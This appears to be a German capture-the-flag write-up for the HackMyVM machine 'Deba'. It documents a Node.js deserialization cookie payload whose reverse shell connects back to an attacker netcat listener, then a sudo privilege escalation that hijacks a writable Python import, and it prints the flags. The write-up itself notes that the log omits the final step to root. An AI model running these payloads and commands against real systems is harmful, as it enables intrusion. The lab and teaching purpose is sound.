Deba - HackMyVM - Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
gobuster
curl
base64
Burp Suite / Browser
python2 (nodeshell.py)
nc (netcat)
python3
stty
sudo
cat
ls
echo
wget (implizit)
chmod (implizit)
cd
id (implizit)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.148	08:00:27:0b:6c:95	PCS Systemtechnik GmbH

Analyse:** Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerksegment mittels ARP nach aktiven Geräten zu durchsuchen.

**Bewertung:** Ein Host mit der IP-Adresse `192.168.2.148` wird identifiziert. Die MAC-Adresse (`08:00:27:...`) weist auf eine VirtualBox VM hin. Dies ist das Zielsystem.

**Empfehlung (Pentester):** Ziel-IP `192.168.2.148` notieren und mit Port-Scanning (Nmap) fortfahren.
**Empfehlung (Admin):** Standard-Netzwerkaufklärung. Fokus auf Absicherung der Dienste.

*(Hinweis: Der nächste Schritt im Log würde das Editieren von /etc/hosts beinhalten, um der IP den Namen 'deba.vm' zuzuweisen.)*

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.148 -p-
Starting Nmap 7.93 ( https://nmap.org ) at [Datum/Zeit nicht im Log]
Nmap scan report for [Hostname nicht im Log, Annahme: deba.vm] (192.168.2.148)
Host is up ([...]s latency).
Not shown: 65532 closed tcp ports (reset)
PORT        STATE  SERVICE VERSION
22/tcp      open   ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp      open   http    Apache httpd 2.4.38 ((Debian)) <-- Läuft Apache auf 80 -->
3000/tcp    open   http    Node.js Express framework <-- Node.js auf 3000! -->
[...] (SSH Hostkeys, OS Details etc.)

Nmap done: 1 IP address (1 host up) scanned in X.XX seconds
=

**Analyse:** Ein umfassender Nmap-Scan (`-sS`, `-sC`, `-T5`, `-A`, `-p-`) wird auf `192.168.2.148` durchgeführt.

**Bewertung:** Drei offene TCP-Ports werden identifiziert: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). Standard-Fernzugriff. * **Port 80 (HTTP):** Apache 2.4.38. Standard-Webserver. * **Port 3000 (HTTP):** Eine Node.js-Anwendung, die das Express-Framework verwendet. Dies ist ein sehr interessantes Ziel, da benutzerdefinierte Webanwendungen oft Schwachstellen aufweisen.

**Empfehlung (Pentester):** 1. **Port 3000 (Priorität 1):** Untersuchen Sie die Node.js/Express-Anwendung intensiv. Analysieren Sie die Funktionalität, suchen Sie nach API-Endpunkten, prüfen Sie auf gängige Node.js-Schwachstellen (Prototype Pollution, Deserialization, Command Injection etc.). 2. **Port 80 (Priorität 2):** Führen Sie grundlegende Web-Enumeration durch (Gobuster), um sicherzustellen, dass nichts übersehen wird. 3. **Port 22 (Priorität 3):** Halten Sie nach Benutzernamen Ausschau.
**Empfehlung (Admin):** Sichern Sie alle Dienste ab. Überprüfen Sie insbesondere die Sicherheit der benutzerdefinierten Node.js-Anwendung auf Port 3000 (Input Validation, sichere Abhängigkeiten, etc.). Beschränken Sie den Zugriff auf die Ports, wenn möglich.

Web Enumeration

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://deba.vm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,[...]
[...]
http://deba.vm/index.html           (Status: 200) [Size: 10701] <-- Apache Default Page? -->
[...]
#

**Analyse:** Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Apache-Server (Port 80) zu suchen.

**Bewertung:** Findet nur die Standard-`index.html`. Der Apache auf Port 80 scheint keine benutzerdefinierten Inhalte zu hosten und ist wahrscheinlich uninteressant.

**Empfehlung (Pentester):** Konzentrieren Sie sich vollständig auf die Node.js-Anwendung auf Port 3000.
**Empfehlung (Admin):** Stellen Sie sicher, dass keine unnötigen Dateien auf Port 80 vorhanden sind.

┌──(root㉿cyber)-[~] └─# curl -X OPTIONS "http://deba.vm:3000" -I
HTTP/1.1 200 OK
X-Powered-By: Express
Allow: GET,HEAD
Content-Type: text/html; charset=utf-8
Content-Length: 8
ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
Date: Mon, 12 Sep 2022 15:03:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5

**Analyse:** Der Befehl `curl -X OPTIONS -I` fragt die erlaubten HTTP-Methoden und die Header für die Wurzel (`/`) der Node.js-Anwendung auf Port 3000 ab.

**Bewertung:** Die Anwendung erlaubt nur `GET` und `HEAD` für die Wurzel. Sie wird vom Express-Framework angetrieben. Keine sofortigen Schwachstellen erkennbar, aber die Technologie ist bestätigt.

**Empfehlung (Pentester):** Interagieren Sie weiter mit der Anwendung via GET-Requests. Untersuchen Sie die Cookies und die clientseitige Logik (JavaScript).
**Empfehlung (Admin):** Keine.

Proof of Concept (Node.js Prototype Pollution RCE)

**Kurzbeschreibung:** Die Node.js/Express-Anwendung auf Port 3000 verwendet unsignierte, Base64-kodierte JSON-Objekte in Cookies zur Speicherung von Benutzerdaten. Die serverseitige Verarbeitung dieses JSON-Objekts ist anfällig für Prototype Pollution. Ein Angreifer kann einen speziell gestalteten JSON-Payload erstellen, der beim Parsen auf dem Server das globale `Object.prototype` manipuliert. Durch Einschleusen einer ausführbaren Funktion (oft über den Schlüssel `rce` oder durch Ausnutzung von Gadgets in Bibliotheken wie `express-fileupload` oder Template-Engines) in den Prototyp kann der Angreifer erreichen, dass diese Funktion an einer späteren Stelle im Code unerwartet aufgerufen wird. Dies führt zu Remote Code Execution (RCE) im Kontext des Node.js-Prozesses (wahrscheinlich `www-data`).

**Voraussetzungen:** Netzwerkzugriff auf Port 3000, Identifizierung der unsicheren Cookie-Verarbeitung, Kenntnis der Prototype Pollution Schwachstelle und ein passender RCE-Payload.

**Schritt-für-Schritt-Anleitung:**

  1. Analysieren des Cookie-Formats (Base64(JSON)).
  2. Konstruieren eines JSON-Payloads für Prototype Pollution, der eine RCE-Funktion injiziert. Dies beinhaltet oft spezielle Schlüssel wie `__proto__` oder die Ausnutzung von unsicheren Merge-Operationen. Ein gängiger Ansatz ist die Verwendung von `_$$ND_FUNC$$` zur Funktionsdefinition, die dann über einen injizierten `rce`-Schlüssel ausgeführt wird: `{"__proto__":{"rce":"_$$ND_FUNC$$_[JS-Code]_"}}`. Der JS-Code enthält den RCE-Payload (z.B. Reverse Shell).
  3. Base64-Kodieren des gesamten JSON-Payloads.
  4. Starten eines Netcat-Listeners auf der Angreifer-Maschine.
  5. Senden einer Anfrage an den Server (z.B. `/`), wobei der manipulierte Base64-String als Cookie-Wert gesetzt wird.
  6. Auslösen der Code-Ausführung (z.B. durch erneutes Laden der Seite oder Aufrufen einer bestimmten Funktion).

**Erwartetes Ergebnis:** Der Server verarbeitet den Cookie, das Prototype wird manipuliert, der RCE-Payload wird ausgeführt, und eine Reverse Shell verbindet sich zum Listener.

**Beweismittel:** Der konstruierte Payload und der erfolgreiche Shell-Empfang.

**Risikobewertung:** Kritisch. Ermöglicht RCE ohne Authentifizierung und führt zur Kompromittierung des Webserver-Prozesses.

**Empfehlungen:** Beheben Sie die Prototype Pollution Schwachstelle durch Aktualisierung anfälliger Bibliotheken, Verwendung sicherer Merge-Funktionen (z.B. `Object.create(null)` für Objekte ohne Prototyp), Validierung von JSON-Schlüsseln und Implementierung sicherer Session-Verwaltung.

┌──(root㉿cyber)-[~] └─# python2 nodeshell.py 192.168.2.140 443
<-- Angreifer-IP und Port -->
[+] LHOST = 192.168.2.140
[+] LPORT = 443
[+] Encoding
-------------------------------------------------------------------------------------------------

**Analyse:** Ein Python2-Skript (`nodeshell.py`) wird verwendet, um einen für Node.js geeigneten Reverse-Shell-Payload zu generieren. Die Ziel-IP (`192.168.2.140`) und der Port (`443`) des Angreifer-Listeners werden angegeben.

**Bewertung:** Automatisierte Generierung des JavaScript-Codes für die Reverse Shell, der später in den JSON-Payload eingebettet wird.

┌──(root㉿cyber)-[~] └─# echo '{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,[...]))}()"}' | base64 -w 0;echo
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb2.....DEwKSl9KCkifQo=
=

Dieser teil wird im Firefox Cookiemanager unter Profil in Value eingetragen,
das muss base64 sein und auf das save symbol klicken, seite neu laden und nc
nimmt dann die verbindung an auf Port 443

**Analyse:** Ein JSON-Payload wird konstruiert: `{"rce":"_$$ND_FUNC$$_[JavaScript-Code]_"}`. Der JavaScript-Code (`function(){ eval(String.fromCharCode(...)) }`) ist eine obfuscierte Version der Reverse Shell, die von `nodeshell.py` generiert wurde. Das gesamte JSON-Objekt wird dann Base64-kodiert.

**Bewertung:** Dies ist der fertige Exploit-Payload für die Prototype Pollution Schwachstelle. Die Obfuskation (`String.fromCharCode`) könnte dazu dienen, einfache Filter zu umgehen.

**Empfehlung (Pentester):** Setzen Sie diesen Base64-String als Wert des Cookies (z.B. im Browser Cookie-Editor oder mit Burp Proxy) und rufen Sie eine Seite der Anwendung auf Port 3000 auf, um den Payload auszulösen.
**Empfehlung (Admin):** Prototype Pollution Schwachstelle beheben!

Initial Access

**Analyse:** Ausführung des Prototype Pollution Exploits durch Setzen des manipulierten Cookies und Auslösen der RCE.

┌──(root㉿cyber)-[~] └─# nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.148] 50186 <-- Verbindung erhalten! -->
Connected!
# Shell als www-data?

**Analyse:** Der Netcat-Listener auf Port 443 empfängt die Verbindung vom Zielsystem, nachdem der manipulierte Cookie gesetzt und die Anwendung interagiert wurde.

**Bewertung:** Initialer Zugriff erfolgreich über Node.js Prototype Pollution und RCE erlangt!

**Empfehlung (Pentester):** Shell stabilisieren und Benutzer identifizieren (`id`).
**Empfehlung (Admin):** Prototype Pollution beheben, Incident Response.

# python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@debian:~$ export TERM=xterm
# (Stabilisierung mit stty/fg angenommen)
www-data@debian:~$ # Stabile Shell als www-data

**Analyse:** Die erhaltene Shell wird stabilisiert. Der Prompt zeigt `www-data@debian`.

**Bewertung:** Stabile Shell als `www-data` verfügbar.

Privilege Escalation (www-data -> low)

**Analyse:** Als `www-data` wird nach Eskalationspfaden gesucht.

www-data@debian:~$ sudo -l
User www-data may run the following commands on debian:
    (ALL : low) NOPASSWD: /usr/bin/python3 /home/low/scripts/script.py

**Analyse:** `sudo -l` wird für `www-data` ausgeführt.

**Bewertung:** Findet eine Sudo-Regel: `www-data` darf `/home/low/scripts/script.py` als Benutzer `low` ohne Passwort ausführen.

**Empfehlung (Pentester):** Analysieren Sie `script.py` und die Berechtigungen darauf.
**Empfehlung (Admin):** Überprüfen Sie die Regel.

www-data@debian:~$ cat /home/low/scripts/script.py
import main <-- Importiert main.py
import os
print("\n")
os.system("ip a | grep enp0s3")
print("\n")
www-data@debian:~$ ls /home/low/scripts
main.py  script.py
www-data@debian:~$ ls -la /home/low/scripts/main.py
-rwxr-xr-x 1 www-data www-data 88 May  7  2021 /home/low/scripts/main.py <-- Schreibbar für www-data! -->

**Analyse:** Das Skript `script.py` importiert `main.py` aus demselben Verzeichnis. Die Berechtigungsprüfung (`ls -la`) zeigt, dass `main.py` dem Benutzer `www-data` gehört und somit **von `www-data` beschrieben werden kann**.

**Bewertung:** **Kritische Fehlkonfiguration!** Da `www-data` das importierte Skript `main.py` ändern kann, kann beliebiger Code eingeschleust werden, der dann als Benutzer `low` ausgeführt wird, wenn `script.py` über `sudo` gestartet wird.

**Empfehlung (Pentester):** Überschreiben Sie `main.py` mit einem Payload, der eine Shell startet (z.B. `echo 'import os;os.system("/bin/bash")' > main.py`). Führen Sie dann `sudo -u low /usr/bin/python3 /home/low/scripts/script.py` aus.
**Empfehlung (Admin):** **Korrigieren Sie die Dateiberechtigungen!** Skripte, die via `sudo` aufgerufen werden, dürfen niemals von dem Benutzer, der sie aufruft, beschrieben werden können. Ändern Sie den Besitzer von `main.py` oder entziehen Sie `www-data` die Schreibrechte.

Proof of Concept (Python Script Hijacking via Sudo)

**Kurzbeschreibung:** Der Benutzer `www-data` darf das Python-Skript `/home/low/scripts/script.py` als Benutzer `low` mittels `sudo` ausführen. Dieses Skript importiert ein weiteres Skript, `/home/low/scripts/main.py`, aus demselben Verzeichnis. Entscheidend ist, dass die Datei `main.py` für den Benutzer `www-data` schreibbar ist. Ein Angreifer als `www-data` kann den Inhalt von `main.py` durch eigenen, bösartigen Code ersetzen (z.B. Code, der eine Shell startet). Wenn anschließend `/home/low/scripts/script.py` mit `sudo -u low` ausgeführt wird, importiert es die manipulierte `main.py`, und der bösartige Code wird mit den Rechten des Benutzers `low` ausgeführt.

**Voraussetzungen:** Zugriff als `www-data`, Sudo-Regel wie beschrieben, Schreibrechte auf das importierte Skript (`main.py`).

**Schritt-für-Schritt-Anleitung:**

  1. Identifizieren der Sudo-Regel und des importierten, schreibbaren Skripts (`main.py`).
  2. Überschreiben von `/home/low/scripts/main.py` mit einem Shell-Payload: `echo 'import os; os.system("/bin/bash -i")' > /home/low/scripts/main.py`.
  3. Ausführen des ursprünglichen Sudo-Befehls: `sudo -u low /usr/bin/python3 /home/low/scripts/script.py`.

**Erwartetes Ergebnis:** Eine interaktive Shell als Benutzer `low` wird gestartet.

**Beweismittel:** Die Sudo-Regel, die Dateiberechtigungen von `main.py`, der Hijacking-Code und der erfolgreiche Shell-Wechsel.

**Risikobewertung:** Hoch. Erlaubt einem Benutzer mit spezifischen Sudo-Rechten die vollständige Übernahme des Zielbenutzerkontos durch Manipulation von Skripten.

**Empfehlungen:** Korrigieren Sie die Dateiberechtigungen des importierten Skripts (`main.py`). Überprüfen Sie alle Sudo-Regeln, um sicherzustellen, dass die ausgeführten Skripte nicht vom aufrufenden Benutzer manipuliert werden können.

Privilege Escalation (low -> root)

**Analyse:** Nach der Eskalation zu `low` (deren Shell aber fälschlicherweise als `root@debian` angezeigt wird), werden die Root- und User-Flags gelesen.

www-data@debian:/home/low/scripts$ echo 'import os;os.system("/bin/bash")' > main.py
www-data@debian:/home/low/scripts$ sudo /usr/bin/python3 /home/low/scripts/script.py
root@debian:/home/low/scripts# # Shell als 'low' erhalten (Prompt im Log falsch!)

**Analyse:** `main.py` wird mit dem Shell-Payload überschrieben. Der Sudo-Befehl wird ausgeführt.

**Bewertung:** Der Exploit ist erfolgreich. Obwohl der Prompt `root@debian` anzeigt, sollte dies gemäß der Sudo-Regel eine Shell als Benutzer `low` sein. Die Eskalation zu `low` ist abgeschlossen.

**Empfehlung (Pentester):** Führen Sie `id` aus, um den Benutzer zu bestätigen (sollte `low` sein). Suchen Sie als `low` nach weiteren Eskalationspfaden.
**Empfehlung (Admin):** Berechtigungen von `main.py` korrigieren.

**Analyse der fehlenden Eskalation von `low` zu `root`:** Das Log springt hier direkt von der (vermutlich) `low`-Shell zur `root`-Shell, die die Flags liest. Der Schritt, wie von `low` zu `root` eskaliert wurde, **fehlt vollständig** im Log. Es muss einen weiteren Vektor geben (z.B. ein Cronjob, eine andere Sudo-Regel für `low`, ein Kernel-Exploit, etc.), der hier nicht dokumentiert ist.

**Bewertung:** Der Bericht ist unvollständig bezüglich der finalen Privilegieneskalation von `low` zu `root`.

**Empfehlung (Pentester):** Dokumentieren Sie alle Eskalationsschritte lückenlos.
**Empfehlung (Admin):** Suchen Sie nach dem fehlenden Eskalationsvektor von `low` zu `root`, um alle Schwachstellen zu beheben.

root@debian:/home/low/scripts# cd /root
root@debian:/root# ls
root.txt
root@debian:/root# cat root.txt
BoFsavetheworld
<-- Root Flag -->
root@debian:/root# cd /home
root@debian:/home# ls
debian	low
root@debian:/home# cd low
root@debian:/home/low# ls
images	projects  scripts  temp  user.txt
root@debian:/home/low# cat user.txt
justdeserialize
<-- User Flag -->

**Analyse:** Aus der (durch einen unbekannten Schritt erlangten) Root-Shell werden die Root-Flag (`/root/root.txt`) und die User-Flag (`/home/low/user.txt`) gelesen.

**Bewertung:** Beide Flags wurden erfolgreich extrahiert.

Flags

**Analyse:** Zusammenfassung der gefundenen Flags.

cat /home/low/user.txt
justdeserialize

**Bewertung:** User-Flag.

cat /root/root.txt
BoFsavetheworld

**Bewertung:** Root-Flag.